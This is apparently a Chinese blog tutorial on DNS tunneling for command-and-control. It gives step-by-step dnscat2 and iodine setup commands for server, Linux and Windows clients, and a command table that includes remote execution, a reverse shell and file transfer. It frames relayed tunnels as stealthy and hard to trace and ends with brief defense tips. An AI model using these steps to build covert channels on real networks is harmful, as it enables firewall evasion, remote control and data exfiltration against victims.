DNS隧道技术

安全中的DNS协议

DNS的解析原理我们可以参考以下文章
https://blog.csdn.net/baidu_37964071/article/details/80500825

DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。因为传统的socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已成为攻击者控制隧道的主流渠道。

由于DNS报文本身具有穿透防火墙的能力,并且防火墙和入侵检测设备大都不会过滤DNS流量,因此DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。用于管理僵尸网络和进行APT攻击的服务器叫作C&C服务器。C&C分为客户端(攻击者)和服务端(被控制的计算机),C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。假如两台机器建立连接后,C&C服务端就可以将指令传递给C&C客户端上的木马程序,让其受控制。

其次,内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集C&C服务端的域名、IP地址、URL等数据帮助防火墙进行阻断操作。这样的话,C&C通信就会被切断,于是各种隧道技术实现C&C通信的技术,尤其是DNS隧道就出现了。

DNS隧道分为直连和中继两种。直连是攻击者的VPS客户端直接和指定的目标DNS服务器建立连接,然后传输数据编码封装在DNS协议中传输。其优点是速度非常快,缺点是不隐秘,而且极易被溯源,因此我们更推荐采用中继的方式建立隧道。中继是通过DNS的迭代查询而实现的DNS隧道。其优点是隐秘,部署的成功性高,缺点是速度较慢。

以下是域名型DNS隧道木马的通信架构
在这里插入图片描述
这里我们假设我们部署的是中继DNS隧道,首先我们的被控制器要查询xxx.com(黑客故意构造的域名),当本地缓存不存在这个域名时,它将前往DNS服务器节点查询,然后DNS服务器在我们自己伪装的DNS服务器上查询到域名地址对应的IP,那么我们就可以封装加密的C&C指令传输到被控端上。因为各大厂家为了不影响服务的运行,都不会将DNS服务屏蔽,因此这个方式是既隐秘又实用的方式。

dnscat2

dnscat2这款工具在搭建DNS隧道中,属于众多工具的一个主流。但是我在使用的时候,Windows版本的并不是很稳定,这里比较推荐使用powershell脚本方式搭建DNS隧道,在linux客户端上能够正常使用,但是延迟相对较大。这里我们仅演示中继隧道搭建,因为这种隧道在实战中用的比较多

安装准备

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bunndler
apt-get install git
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
bundle install

配置域名解析
主要是添加这两条记录,这里我使用的是godaddy的域名和VPS服务器
在这里插入图片描述
检查是否正常解析

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

服务端

ruby dnscat2.rb vpn.域名 -e open -c root@12345 --no-cache
  • -c:定义了"pre-shared secret"可以使用具有预共享密钥的身份验证机制来防止中间人攻击
  • -e:规定安全级别
  • –no-cache:禁止缓存,这项必须要加上

在这里插入图片描述
Linux客户端
在这里插入图片描述
在服务端上
在这里插入图片描述
在这里插入图片描述
使用powershell在Windows上线

import-module dnscat2.ps1
start-dnscat2 -domain vpn.域名 -DNSServer 服务器IP地址

在这里插入图片描述
在这里插入图片描述
尝试在目标控制主机上开启记事本程序
在这里插入图片描述

在这里插入图片描述
最后解释一下dnscat2的命令的作用

命令作用
clear清屏
delay修改远程响应延时
exec执行远程机器上的指定程序,如Powershell或VBS
shell得到一个反弹shell
download/upload下载或上传文件,速度较慢
suspend返回上一层,相当于Ctrl-Z
listen类似于SSH隧道的-L参数
ping确认目标主机是否在线
shutdown切断当前会话
quit退出dnscat2控制台
kill (id)切断通道
set设置值
windows列举所有通道
window -i (id)连接某个通道

iodine

iodine相对于dnscat2来说,速度和稳定性都是在dnscat2之上的,因此建立DNS隧道,iodine这款工具是首选。与同类工具相比,iodine有如下优点:

  • 不会对下行数据进行编码
  • 支持多平台,Linux、Windows、BSD、Mac OS
  • 支持16个并发连接
  • 支持强密码机制
  • 支持同网段隧道IP地址
  • 支持多种DNS记录类型
  • 提供了丰富的隧道质量检测措施

iodine工作原理是 :通过TAP虚拟网卡,在服务端建立起一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网。在客户端和服务端之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。这是iodine的官网地址https://code.kryo.se/iodine/

服务端

和dnscat2一样都需要配置域名解析,并且配置内容相同,这里的192.168.0.1是虚拟网卡的IP地址,其它参数的作用在后面论述。

apt-get install iodine
iodine -f -c -P root@12345 192.168.0.1 vpn.域名 -DD

Linux客户端

iodine -f -P root@12345 vpn.域名 -M 200

出现这个表明建立连接成功
在这里插入图片描述

可以看到,客户端上多了一块dns0虚拟网卡
在这里插入图片描述
并且可以看到路由规则上增添了192.168.0.0这个网段
在这里插入图片描述

在VPS服务端上已经建立了连接
在这里插入图片描述
我们尝试在VPS上远程连接,显示连接成功
在这里插入图片描述
Windows客户端

Windows客户端的环境部署稍微有点麻烦,首先我们得下载这个依赖,不下载这东西将不能创建隧道 https://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe
然后我们接着下载iodine的windows客户端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

接着我们要以管理员的身份运行命令,我认为iodine唯一的缺点就是要高权限运行命令,可能要配合提权操作才能充分发挥iodine的作用

iodine.exe -f -P root@12345 vpn.域名

在这里插入图片描述
隧道建立完成后,我们就能访问内网主机的3389服务了
在这里插入图片描述
最后我们阐述一下iodine参数的作用

参数作用
-f在前台运行
-c禁止检查所有传入请求的客户端IP地址
-P客户端和服务端之间用于验证身份的密码
-D指定调试级别,-DD指第二级
-r强制在任何情况下使用DNS隧道
-M指定上行主机名的大小
-m调节最大下行分片的大小
-T指定所使用的DNS请求的类型
-O指定数据编码规范
-L指定是否开启懒惰模式
-I指定请求与请求之间的时间间隔

防御DNS隧道攻击

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
  • 将邮件服务器/网关列入白名单并阻止和传出流量中的TXT请求
  • 跟踪用户的DNS查询次数,如果达到阈值就生成相应的报告
  • 阻止ICMP

各种隧道技术的优缺点

协议优点缺点工具
IPV6网络层隐秘阻塞Socat,nt6tunnel
ICMP网络层技术含量低易检测Icmpsh,pingtunnel
TCP传输层可靠易过滤Netcat,powercat
SSH应用层防火墙友好
HTTP应用层可用性强不隐蔽Regeorg,netcat
HTTPS应用层难发现引起怀疑socat
DNS应用层防火墙友好不适宜大数据dnscat2,iodine
  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值